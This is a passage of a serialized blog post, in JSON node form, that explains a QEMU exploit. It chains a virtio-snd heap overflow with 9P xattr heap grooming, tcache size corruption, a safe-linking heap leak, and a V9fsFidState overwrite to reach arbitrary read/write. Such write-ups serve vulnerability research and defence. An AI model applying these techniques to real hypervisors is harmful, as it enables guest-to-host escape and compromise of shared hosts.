",{"type":21,"tag":66,"props":129362,"children":129364},{"className":129363},[],[129365],{"type":26,"value":105529},{"type":26,"value":129367},". We first allocate 16 xattrs whose ",{"type":21,"tag":66,"props":129369,"children":129371},{"className":129370},[],[129372],{"type":26,"value":128374},{"type":26,"value":129374}," size is ",{"type":21,"tag":66,"props":129376,"children":129378},{"className":129377},[],[129379],{"type":26,"value":129380},"0x30",{"type":26,"value":129382},". After that, we allocate another 16 xattrs, this time with ",{"type":21,"tag":66,"props":129384,"children":129386},{"className":129385},[],[129387],{"type":26,"value":128374},{"type":26,"value":129389}," size ",{"type":21,"tag":66,"props":129391,"children":129393},{"className":129392},[],[129394],{"type":26,"value":129395},"0x40",{"type":26,"value":129397},", and continue in the same way for each tcache size class.",{"type":21,"tag":22,"props":129399,"children":129400},{},[129401],{"type":26,"value":129402},"This yields the following layout:",{"type":21,"tag":75,"props":129404,"children":129406},{"code":129405},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[129407],{"type":21,"tag":66,"props":129408,"children":129409},{"__ignoreMap":7},[129410],{"type":26,"value":129405},{"type":21,"tag":22,"props":129412,"children":129413},{},[129414,129416,129421,129423,129428,129430,129435,129437,129442,129444,129449,129451,129456,129457,129462,129464,129469,129471,129476,129478,129483,129485,129490,129492,129497],{"type":26,"value":129415},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":21,"tag":66,"props":129417,"children":129419},{"className":129418},[],[129420],{"type":26,"value":128367},{"type":26,"value":129422}," chunks end up in the ",{"type":21,"tag":66,"props":129424,"children":129426},{"className":129425},[],[129427],{"type":26,"value":105529},{"type":26,"value":129429}," tcache bin, along with the interleaved ",{"type":21,"tag":66,"props":129431,"children":129433},{"className":129432},[],[129434],{"type":26,"value":128374},{"type":26,"value":129436}," chunks of size ",{"type":21,"tag":66,"props":129438,"children":129440},{"className":129439},[],[129441],{"type":26,"value":129380},{"type":26,"value":129443},". The next 16 ",{"type":21,"tag":66,"props":129445,"children":129447},{"className":129446},[],[129448],{"type":26,"value":128367},{"type":26,"value":129450}," chunks are interleaved with ",{"type":21,"tag":66,"props":129452,"children":129454},{"className":129453},[],[129455],{"type":26,"value":128374},{"type":26,"value":129436},{"type":21,"tag":66,"props":129458,"children":129460},{"className":129459},[],[129461],{"type":26,"value":129395},{"type":26,"value":129463},"; when freed, those ",{"type":21,"tag":66,"props":129465,"children":129467},{"className":129466},[],[129468],{"type":26,"value":128374},{"type":26,"value":129470}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":21,"tag":66,"props":129472,"children":129474},{"className":129473},[],[129475],{"type":26,"value":128367},{"type":26,"value":129477}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":21,"tag":66,"props":129479,"children":129481},{"className":129480},[],[129482],{"type":26,"value":128367},{"type":26,"value":129484},"-sized chunks that will later be served to the ",{"type":21,"tag":66,"props":129486,"children":129488},{"className":129487},[],[129489],{"type":26,"value":128367},{"type":26,"value":129491}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":21,"tag":66,"props":129493,"children":129495},{"className":129494},[],[129496],{"type":26,"value":128374},{"type":26,"value":129223},{"type":21,"tag":10022,"props":129499,"children":129501},{"id":129500},"corrupting-the-size",[129502],{"type":26,"value":129503},"Corrupting the Size",{"type":21,"tag":22,"props":129505,"children":129506},{},[129507,129509,129514,129516,129521,129523,129528,129530,129535,129536,129541],{"type":26,"value":129508},"The input format is guest-controlled, and we choose ",{"type":21,"tag":66,"props":129510,"children":129512},{"className":129511},[],[129513],{"type":26,"value":4190},{"type":26,"value":129515}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":21,"tag":66,"props":129517,"children":129519},{"className":129518},[],[129520],{"type":26,"value":4190},{"type":26,"value":129522}," is centered at ",{"type":21,"tag":66,"props":129524,"children":129526},{"className":129525},[],[129527],{"type":26,"value":29883},{"type":26,"value":129529}," (rather than ",{"type":21,"tag":66,"props":129531,"children":129533},{"className":129532},[],[129534],{"type":26,"value":126629},{"type":26,"value":126616},{"type":21,"tag":66,"props":129537,"children":129539},{"className":129538},[],[129540],{"type":26,"value":126607},{"type":26,"value":129542},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":21,"tag":22,"props":129544,"children":129545},{},[129546,129548,129553],{"type":26,"value":129547},"As we already concluded, ",{"type":21,"tag":66,"props":129549,"children":129551},{"className":129550},[],[129552],{"type":26,"value":126072},{"type":26,"value":129554}," is called with the amount:",{"type":21,"tag":75,"props":129556,"children":129558},{"code":129557},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[129559],{"type":21,"tag":66,"props":129560,"children":129561},{"__ignoreMap":7},[129562],{"type":26,"value":129557},{"type":21,"tag":22,"props":129564,"children":129565},{},[129566,129568,129573,129575,129580],{"type":26,"value":129567},"And as mentioned earlier, ",{"type":21,"tag":66,"props":129569,"children":129571},{"className":129570},[],[129572],{"type":26,"value":126103},{"type":26,"value":129574}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":21,"tag":66,"props":129576,"children":129578},{"className":129577},[],[129579],{"type":26,"value":124722},{"type":26,"value":58783},{"type":21,"tag":22,"props":129582,"children":129583},{},[129584,129586,129591,129593,129598],{"type":26,"value":129585},"With the desired heap layout of repeated ",{"type":21,"tag":66,"props":129587,"children":129589},{"className":129588},[],[129590],{"type":26,"value":128276},{"type":26,"value":129592},"-sized ",{"type":21,"tag":66,"props":129594,"children":129596},{"className":129595},[],[129597],{"type":26,"value":128374},{"type":26,"value":129599}," chunks in place, we can then free every other one:",{"type":21,"tag":75,"props":129601,"children":129603},{"code":129602},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[129604],{"type":21,"tag":66,"props":129605,"children":129606},{"__ignoreMap":7},[129607],{"type":26,"value":129602},{"type":21,"tag":22,"props":129609,"children":129610},{},[129611,129613,129618],{"type":26,"value":129612},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":21,"tag":66,"props":129614,"children":129616},{"className":129615},[],[129617],{"type":26,"value":128374},{"type":26,"value":129619}," chunk directly next to it:",{"type":21,"tag":75,"props":129621,"children":129623},{"code":129622},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[129624],{"type":21,"tag":66,"props":129625,"children":129626},{"__ignoreMap":7},[129627],{"type":26,"value":129622},{"type":21,"tag":22,"props":129629,"children":129630},{},[129631,129633,129638,129640,129645],{"type":26,"value":129632},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":21,"tag":66,"props":129634,"children":129636},{"className":129635},[],[129637],{"type":26,"value":128276},{"type":26,"value":129639},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":21,"tag":66,"props":129641,"children":129643},{"className":129642},[],[129644],{"type":26,"value":128374},{"type":26,"value":129646}," chunk now has a corrupted and likely oversized size field:",{"type":21,"tag":75,"props":129648,"children":129650},{"code":129649},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[129651],{"type":21,"tag":66,"props":129652,"children":129653},{"__ignoreMap":7},[129654],{"type":26,"value":129649},{"type":21,"tag":22,"props":129656,"children":129657},{},[129658,129660,129665],{"type":26,"value":129659},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":21,"tag":66,"props":129661,"children":129663},{"className":129662},[],[129664],{"type":26,"value":128291},{"type":26,"value":172},{"type":21,"tag":75,"props":129667,"children":129669},{"code":129668},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[129670],{"type":21,"tag":66,"props":129671,"children":129672},{"__ignoreMap":7},[129673],{"type":26,"value":129668},{"type":21,"tag":22,"props":129675,"children":129676},{},[129677,129679,129684],{"type":26,"value":129678},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":21,"tag":66,"props":129680,"children":129682},{"className":129681},[],[129683],{"type":26,"value":128291},{"type":26,"value":21170},{"type":21,"tag":75,"props":129686,"children":129688},{"code":129687},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[129689],{"type":21,"tag":66,"props":129690,"children":129691},{"__ignoreMap":7},[129692],{"type":26,"value":129687},{"type":21,"tag":22,"props":129694,"children":129695},{},[129696,129698,129704],{"type":26,"value":129697},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":21,"tag":66,"props":129699,"children":129701},{"className":129700},[],[129702],{"type":26,"value":129703},"0x400",{"type":26,"value":129705}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":21,"tag":75,"props":129707,"children":129709},{"code":129708},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[129710],{"type":21,"tag":66,"props":129711,"children":129712},{"__ignoreMap":7},[129713],{"type":26,"value":129708},{"type":21,"tag":10022,"props":129715,"children":129717},{"id":129716},"leaking-a-heap-address",[129718],{"type":26,"value":129719},"Leaking a Heap Address",{"type":21,"tag":22,"props":129721,"children":129722},{},[129723],{"type":26,"value":129724},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":21,"tag":22,"props":129726,"children":129727},{},[129728,129730,129736],{"type":26,"value":129729},"To do this, we abuse the forward (",{"type":21,"tag":66,"props":129731,"children":129733},{"className":129732},[],[129734],{"type":26,"value":129735},"fd",{"type":26,"value":129737},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":21,"tag":75,"props":129739,"children":129741},{"code":129740},"fd = next ^ (curr >> 12)\n",[129742],{"type":21,"tag":66,"props":129743,"children":129744},{"__ignoreMap":7},[129745],{"type":26,"value":129740},{"type":21,"tag":22,"props":129747,"children":129748},{},[129749,129751,129756,129757,129762],{"type":26,"value":129750},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":21,"tag":66,"props":129752,"children":129754},{"className":129753},[],[129755],{"type":26,"value":58022},{"type":26,"value":6268},{"type":21,"tag":66,"props":129758,"children":129760},{"className":129759},[],[129761],{"type":26,"value":54952},{"type":26,"value":129763}," because there is no following entry. In that case, the encoding becomes:",{"type":21,"tag":75,"props":129765,"children":129767},{"code":129766},"fd = 0 ^ (curr >> 12)\n",[129768],{"type":21,"tag":66,"props":129769,"children":129770},{"__ignoreMap":7},[129771],{"type":26,"value":129766},{"type":21,"tag":22,"props":129773,"children":129774},{},[129775,129777,129782],{"type":26,"value":129776},"So if we free a single chunk into an empty tcache bin, its ",{"type":21,"tag":66,"props":129778,"children":129780},{"className":129779},[],[129781],{"type":26,"value":129735},{"type":26,"value":129783}," field is effectively just the chunk address shifted right by 12.",{"type":21,"tag":22,"props":129785,"children":129786},{},[129787],{"type":26,"value":129788},"In the overlap we achieved earlier:",{"type":21,"tag":75,"props":129790,"children":129792},{"code":129791},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[129793],{"type":21,"tag":66,"props":129794,"children":129795},{"__ignoreMap":7},[129796],{"type":26,"value":129791},{"type":21,"tag":22,"props":129798,"children":129799},{},[129800,129802,129808,129810,129816,129818,129824,129826,129831],{"type":26,"value":129801},"We first free ",{"type":21,"tag":66,"props":129803,"children":129805},{"className":129804},[],[129806],{"type":26,"value":129807},".value C",{"type":26,"value":129809}," into tcache and read its contents through the oversized ",{"type":21,"tag":66,"props":129811,"children":129813},{"className":129812},[],[129814],{"type":26,"value":129815},".value Y",{"type":26,"value":129817},". This gives us ",{"type":21,"tag":66,"props":129819,"children":129821},{"className":129820},[],[129822],{"type":26,"value":129823},".value C >> 12",{"type":26,"value":129825},". That is not yet the exact address of ",{"type":21,"tag":66,"props":129827,"children":129829},{"className":129828},[],[129830],{"type":26,"value":129807},{"type":26,"value":129832},", since the lower 12 bits are lost.",{"type":21,"tag":22,"props":129834,"children":129835},{},[129836,129838,129843,129845,129850,129852,129857,129859,129864],{"type":26,"value":129837},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":21,"tag":66,"props":129839,"children":129841},{"className":129840},[],[129842],{"type":26,"value":129807},{"type":26,"value":129844},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":21,"tag":66,"props":129846,"children":129848},{"className":129847},[],[129849],{"type":26,"value":129807},{"type":26,"value":129851}," again. This time, ",{"type":21,"tag":66,"props":129853,"children":129855},{"className":129854},[],[129856],{"type":26,"value":58022},{"type":26,"value":129858}," is no longer ",{"type":21,"tag":66,"props":129860,"children":129862},{"className":129861},[],[129863],{"type":26,"value":54952},{"type":26,"value":129865},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":21,"tag":75,"props":129867,"children":129868},{"code":129740},[129869],{"type":21,"tag":66,"props":129870,"children":129871},{"__ignoreMap":7},[129872],{"type":26,"value":129740},{"type":21,"tag":22,"props":129874,"children":129875},{},[129876,129878,129884,129886,129891,129893,129898,129900,129905],{"type":26,"value":129877},"Since we already know ",{"type":21,"tag":66,"props":129879,"children":129881},{"className":129880},[],[129882],{"type":26,"value":129883},"curr >> 12",{"type":26,"value":129885}," from the first leak, we can read the new ",{"type":21,"tag":66,"props":129887,"children":129889},{"className":129888},[],[129890],{"type":26,"value":129735},{"type":26,"value":129892}," value from ",{"type":21,"tag":66,"props":129894,"children":129896},{"className":129895},[],[129897],{"type":26,"value":129807},{"type":26,"value":129899}," and recover the exact address of ",{"type":21,"tag":66,"props":129901,"children":129903},{"className":129902},[],[129904],{"type":26,"value":58022},{"type":26,"value":129906}," by reversing the XOR:",{"type":21,"tag":75,"props":129908,"children":129910},{"code":129909},"next = fd ^ (curr >> 12)\n",[129911],{"type":21,"tag":66,"props":129912,"children":129913},{"__ignoreMap":7},[129914],{"type":26,"value":129909},{"type":21,"tag":22,"props":129916,"children":129917},{},[129918],{"type":26,"value":129919},"This gives us the exact address of a heap chunk whose contents we control.",{"type":21,"tag":10022,"props":129921,"children":129923},{"id":129922},"arbitrary-read-and-write",[129924],{"type":26,"value":129925},"Arbitrary Read and Write",{"type":21,"tag":22,"props":129927,"children":129928},{},[129929,129931,129936],{"type":26,"value":129930},"Having a controlled chunk at a known address lets us repurpose ",{"type":21,"tag":66,"props":129932,"children":129934},{"className":129933},[],[129935],{"type":26,"value":129807},{"type":26,"value":129937}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":21,"tag":22,"props":129939,"children":129940},{},[129941,129943,129948],{"type":26,"value":129942},"Recall ",{"type":21,"tag":66,"props":129944,"children":129946},{"className":129945},[],[129947],{"type":26,"value":128411},{"type":26,"value":172},{"type":21,"tag":75,"props":129950,"children":129952},{"code":129951,"language":3918,"meta":7,"className":16935,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[129953],{"type":21,"tag":66,"props":129954,"children":129955},{"__ignoreMap":7},[129956,129995,130002,130013,130028,130043,130050,130057,130064,130086,130093,130100,130107,130115,130132,130171,130214,130221],{"type":21,"tag":85,"props":129957,"children":129958},{"class":87,"line":88},[129959,129963,129967,129971,129975,129979,129983,129987,129991],{"type":21,"tag":85,"props":129960,"children":129961},{"style":102},[129962],{"type":26,"value":51500},{"type":21,"tag":85,"props":129964,"children":129965},{"style":102},[129966],{"type":26,"value":51505},{"type":21,"tag":85,"props":129968,"children":129969},{"style":114},[129970],{"type":26,"value":128406},{"type":21,"tag":85,"props":129972,"children":129973},{"style":1021},[129974],{"type":26,"value":128411},{"type":21,"tag":85,"props":129976,"children":129977},{"style":114},[129978],{"type":26,"value":1439},{"type":21,"tag":85,"props":129980,"children":129981},{"style":102},[129982],{"type":26,"value":52083},{"type":21,"tag":85,"props":129984,"children":129985},{"style":169},[129986],{"type":26,"value":10231},{"type":21,"tag":85,"props":129988,"children":129989},{"style":120},[129990],{"type":26,"value":128428},{"type":21,"tag":85,"props":129992,"children":129993},{"style":114},[129994],{"type":26,"value":2485},{"type":21,"tag":85,"props":129996,"children":129997},{"class":87,"line":98},[129998],{"type":21,"tag":85,"props":129999,"children":130000},{"style":114},[130001],{"type":26,"value":11296},{"type":21,"tag":85,"props":130003,"children":130004},{"class":87,"line":151},[130005,130009],{"type":21,"tag":85,"props":130006,"children":130007},{"style":102},[130008],{"type":26,"value":56069},{"type":21,"tag":85,"props":130010,"children":130011},{"style":114},[130012],{"type":26,"value":125064},{"type":21,"tag":85,"props":130014,"children":130015},{"class":87,"line":160},[130016,130020,130024],{"type":21,"tag":85,"props":130017,"children":130018},{"style":114},[130019],{"type":26,"value":128553},{"type":21,"tag":85,"props":130021,"children":130022},{"style":169},[130023],{"type":26,"value":3052},{"type":21,"tag":85,"props":130025,"children":130026},{"style":114},[130027],{"type":26,"value":128562},{"type":21,"tag":85,"props":130029,"children":130030},{"class":87,"line":185},[130031,130035,130039],{"type":21,"tag":85,"props":130032,"children":130033},{"style":114},[130034],{"type":26,"value":128553},{"type":21,"tag":85,"props":130036,"children":130037},{"style":169},[130038],{"type":26,"value":3052},{"type":21,"tag":85,"props":130040,"children":130041},{"style":114},[130042],{"type":26,"value":128578},{"type":21,"tag":85,"props":130044,"children":130045},{"class":87,"line":501},[130046],{"type":21,"tag":85,"props":130047,"children":130048},{"emptyLinePlaceholder":16},[130049],{"type":26,"value":703},{"type":21,"tag":85,"props":130051,"children":130052},{"class":87,"line":697},[130053],{"type":21,"tag":85,"props":130054,"children":130055},{"style":114},[130056],{"type":26,"value":105263},{"type":21,"tag":85,"props":130058,"children":130059},{"class":87,"line":706},[130060],{"type":21,"tag":85,"props":130061,"children":130062},{"emptyLinePlaceholder":16},[130063],{"type":26,"value":703},{"type":21,"tag":85,"props":130065,"children":130066},{"class":87,"line":1100},[130067,130072,130076,130081],{"type":21,"tag":85,"props":130068,"children":130069},{"style":114},[130070],{"type":26,"value":130071},"    file_fidp ",{"type":21,"tag":85,"props":130073,"children":130074},{"style":169},[130075],{"type":26,"value":741},{"type":21,"tag":85,"props":130077,"children":130078},{"style":1021},[130079],{"type":26,"value":130080}," get_fid",{"type":21,"tag":85,"props":130082,"children":130083},{"style":114},[130084],{"type":26,"value":130085},"(pdu, fid);\n",{"type":21,"tag":85,"props":130087,"children":130088},{"class":87,"line":1339},[130089],{"type":21,"tag":85,"props":130090,"children":130091},{"emptyLinePlaceholder":16},[130092],{"type":26,"value":703},{"type":21,"tag":85,"props":130094,"children":130095},{"class":87,"line":1348},[130096],{"type":21,"tag":85,"props":130097,"children":130098},{"style":114},[130099],{"type":26,"value":105263},{"type":21,"tag":85,"props":130101,"children":130102},{"class":87,"line":1386},[130103],{"type":21,"tag":85,"props":130104,"children":130105},{"emptyLinePlaceholder":16},[130106],{"type":26,"value":703},{"type":21,"tag":85,"props":130108,"children":130109},{"class":87,"line":1394},[130110],{"type":21,"tag":85,"props":130111,"children":130112},{"style":92},[130113],{"type":26,"value":130114},"    /* Make the file fid point to xattr */\n",{"type":21,"tag":85,"props":130116,"children":130117},{"class":87,"line":1402},[130118,130123,130127],{"type":21,"tag":85,"props":130119,"children":130120},{"style":114},[130121],{"type":26,"value":130122},"    xattr_fidp ",{"type":21,"tag":85,"props":130124,"children":130125},{"style":169},[130126],{"type":26,"value":741},{"type":21,"tag":85,"props":130128,"children":130129},{"style":114},[130130],{"type":26,"value":130131}," file_fidp;\n",{"type":21,"tag":85,"props":130133,"children":130134},{"class":87,"line":3145},[130135,130139,130143,130147,130151,130155,130159,130163,130167],{"type":21,"tag":85,"props":130136,"children":130137},{"style":120},[130138],{"type":26,"value":128956},{"type":21,"tag":85,"props":130140,"children":130141},{"style":114},[130142],{"type":26,"value":14175},{"type":21,"tag":85,"props":130144,"children":130145},{"style":120},[130146],{"type":26,"value":37430},{"type":21,"tag":85,"props":130148,"children":130149},{"style":114},[130150],{"type":26,"value":73},{"type":21,"tag":85,"props":130152,"children":130153},{"style":120},[130154],{"type":26,"value":128880},{"type":21,"tag":85,"props":130156,"children":130157},{"style":114},[130158],{"type":26,"value":73},{"type":21,"tag":85,"props":130160,"children":130161},{"style":120},[130162],{"type":26,"value":3520},{"type":21,"tag":85,"props":130164,"children":130165},{"style":169},[130166],{"type":26,"value":1941},{"type":21,"tag":85,"props":130168,"children":130169},{"style":114},[130170],{"type":26,"value":125064},{"type":21,"tag":85,"props":130172,"children":130173},{"class":87,"line":3246},[130174,130178,130182,130186,130190,130194,130198,130202,130206,130210],{"type":21,"tag":85,"props":130175,"children":130176},{"style":120},[130177],{"type":26,"value":128956},{"type":21,"tag":85,"props":130179,"children":130180},{"style":114},[130181],{"type":26,"value":14175},{"type":21,"tag":85,"props":130183,"children":130184},{"style":120},[130185],{"type":26,"value":37430},{"type":21,"tag":85,"props":130187,"children":130188},{"style":114},[130189],{"type":26,"value":73},{"type":21,"tag":85,"props":130191,"children":130192},{"style":120},[130193],{"type":26,"value":128880},{"type":21,"tag":85,"props":130195,"children":130196},{"style":114},[130197],{"type":26,"value":73},{"type":21,"tag":85,"props":130199,"children":130200},{"style":120},[130201],{"type":26,"value":39600},{"type":21,"tag":85,"props":130203,"children":130204},{"style":169},[130205],{"type":26,"value":1941},{"type":21,"tag":85,"props":130207,"children":130208},{"style":1021},[130209],{"type":26,"value":124635},{"type":21,"tag":85,"props":130211,"children":130212},{"style":114},[130213],{"type":26,"value":128993},{"type":21,"tag":85,"props":130215,"children":130216},{"class":87,"line":3255},[130217],{"type":21,"tag":85,"props":130218,"children":130219},{"emptyLinePlaceholder":16},[130220],{"type":26,"value":703},{"type":21,"tag":85,"props":130222,"children":130223},{"class":87,"line":3286},[130224],{"type":21,"tag":85,"props":130225,"children":130226},{"style":114},[130227],{"type":26,"value":105263},{"type":21,"tag":22,"props":130229,"children":130230},{},[130231,130233,130239,130241,130246,130247,130252,130254,130259,130261,130267,130268,130274,130276,130281,130282,130287],{"type":26,"value":130232},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":21,"tag":66,"props":130234,"children":130236},{"className":130235},[],[130237],{"type":26,"value":130238},"V9fsFidState",{"type":26,"value":130240}," object. In other words, if we can place a ",{"type":21,"tag":66,"props":130242,"children":130244},{"className":130243},[],[130245],{"type":26,"value":130238},{"type":26,"value":1668},{"type":21,"tag":66,"props":130248,"children":130250},{"className":130249},[],[130251],{"type":26,"value":129807},{"type":26,"value":130253}," currently sits, the overlapping ",{"type":21,"tag":66,"props":130255,"children":130257},{"className":130256},[],[130258],{"type":26,"value":129815},{"type":26,"value":130260}," chunk can overwrite ",{"type":21,"tag":66,"props":130262,"children":130264},{"className":130263},[],[130265],{"type":26,"value":130266},"V9fsFidState.fs.xattr.value",{"type":26,"value":11408},{"type":21,"tag":66,"props":130269,"children":130271},{"className":130270},[],[130272],{"type":26,"value":130273},"V9fsFidState.fs.xattr.len",{"type":26,"value":130275},". That would immediately give us arbitrary read and write through ",{"type":21,"tag":66,"props":130277,"children":130279},{"className":130278},[],[130280],{"type":26,"value":129069},{"type":26,"value":11408},{"type":21,"tag":66,"props":130283,"children":130285},{"className":130284},[],[130286],{"type":26,"value":129061},{"type":26,"value":73},{"type":21,"tag":22,"props":130289,"children":130290},{},[130291,130293,130298,130299,130304,130306,130311,130313,130319,130321,130326,130328,130333,130335,130340,130342,130347,130349,130354],{"type":26,"value":130292},"At this point, ",{"type":21,"tag":66,"props":130294,"children":130296},{"className":130295},[],[130297],{"type":26,"value":129807},{"type":26,"value":15863},{"type":21,"tag":66,"props":130300,"children":130302},{"className":130301},[],[130303],{"type":26,"value":128276},{"type":26,"value":130305}," chunk, while ",{"type":21,"tag":66,"props":130307,"children":130309},{"className":130308},[],[130310],{"type":26,"value":130238},{"type":26,"value":130312}," falls into the ",{"type":21,"tag":66,"props":130314,"children":130316},{"className":130315},[],[130317],{"type":26,"value":130318},"0x120",{"type":26,"value":130320}," size class. Before freeing ",{"type":21,"tag":66,"props":130322,"children":130324},{"className":130323},[],[130325],{"type":26,"value":129807},{"type":26,"value":130327},", we therefore use the oversized ",{"type":21,"tag":66,"props":130329,"children":130331},{"className":130330},[],[130332],{"type":26,"value":129815},{"type":26,"value":130334}," chunk to change its size to match ",{"type":21,"tag":66,"props":130336,"children":130338},{"className":130337},[],[130339],{"type":26,"value":130238},{"type":26,"value":130341},". Once ",{"type":21,"tag":66,"props":130343,"children":130345},{"className":130344},[],[130346],{"type":26,"value":129807},{"type":26,"value":130348}," is freed, it is inserted into the ",{"type":21,"tag":66,"props":130350,"children":130352},{"className":130351},[],[130353],{"type":26,"value":130318},{"type":26,"value":130355}," tcache bin.",{"type":21,"tag":75,"props":130357,"children":130359},{"code":130358},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[130360],{"type":21,"tag":66,"props":130361,"children":130362},{"__ignoreMap":7},[130363],{"type":26,"value":130358},{"type":21,"tag":22,"props":130365,"children":130366},{},[130367,130369,130374,130376,130382,130384,130390,130392,130397],{"type":26,"value":130368},"After that, we can simply allocate a new ",{"type":21,"tag":66,"props":130370,"children":130372},{"className":130371},[],[130373],{"type":26,"value":130238},{"type":26,"value":130375}," with a ",{"type":21,"tag":66,"props":130377,"children":130379},{"className":130378},[],[130380],{"type":26,"value":130381},"P9_TWALK",{"type":26,"value":130383}," request and a fresh FID - this reaches ",{"type":21,"tag":66,"props":130385,"children":130387},{"className":130386},[],[130388],{"type":26,"value":130389},"alloc_fid",{"type":26,"value":130391},", which allocates a new ",{"type":21,"tag":66,"props":130393,"children":130395},{"className":130394},[],[130396],{"type":26,"value":130238},{"type":26,"value":172},{"type":21,"tag":75,"props":130399,"children":130401},{"code":130400,"language":3918,"meta":7,"className":16935,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    